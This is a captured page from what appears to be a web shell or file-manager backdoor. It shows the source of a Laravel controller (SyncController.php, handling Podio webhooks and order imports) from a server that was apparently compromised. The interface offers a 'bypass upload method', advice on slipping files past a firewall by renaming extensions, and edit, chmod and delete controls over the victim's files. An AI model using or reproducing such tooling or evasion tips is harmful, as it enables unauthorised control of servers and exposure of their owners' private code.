Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
podio.norlys.foo
httpdocs
app
Http
Controllers
File Content:
SyncController.php
<?php namespace App\Http\Controllers; use App\Repositories\Podio\PodioServices; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; use Mockery\Exception; use PodioAuth\Controllers\PodioAuth; use Illuminate\Support\Facades\File; class SyncController extends Controller { /** * Update all Orders */ public function syncOrders() { try { PodioServices::getAndUpdateOrders(); } catch (Exception $exception) { Log::error($exception); } } /** * @param Request $request * Sync connected app data * @param $app */ public function podioHook(Request $request, $app) { try { if ($request->post('type')) { if (PodioAuth::podioAppAuthWithName($app)) { switch ($request->post('type')) { case 'hook.verify': \PodioHook::validate($request->post('hook_id'), array('code' => $request->post('code'))); break; case 'item.update': case 'item.create': if (PodioAuth::podioAppAuthWithName($app)) { PodioServices::updateCreateOrDeleteItem($request->post('item_id'), $app, false); } break; case 'item.delete': PodioServices::updateCreateOrDeleteItem($request->post('item_id'), $app, true); break; } } } } catch (Exception $exception) { Log::error($exception); } } public function tForTest(){ exit; // Log::info('Test info message'); // Log::error('Test exception'); $path = storage_path('orders/order-3.json'); // resolves to /httpdocs/storage/orders/order-2.json if (File::exists($path)) { $json = File::get($path); $data = json_decode($json, true); // reverse the array to start from bottom $data = array_reverse($data); foreach ($data as $order) { $order = ['data' => $order]; $orderObj = json_decode(json_encode($order)); $addOrder = PodioServices::getAndUpdateOrderFromBPMManual(json_encode($orderObj)); } } } }
Edit
Download
Unzip
Chmod
Delete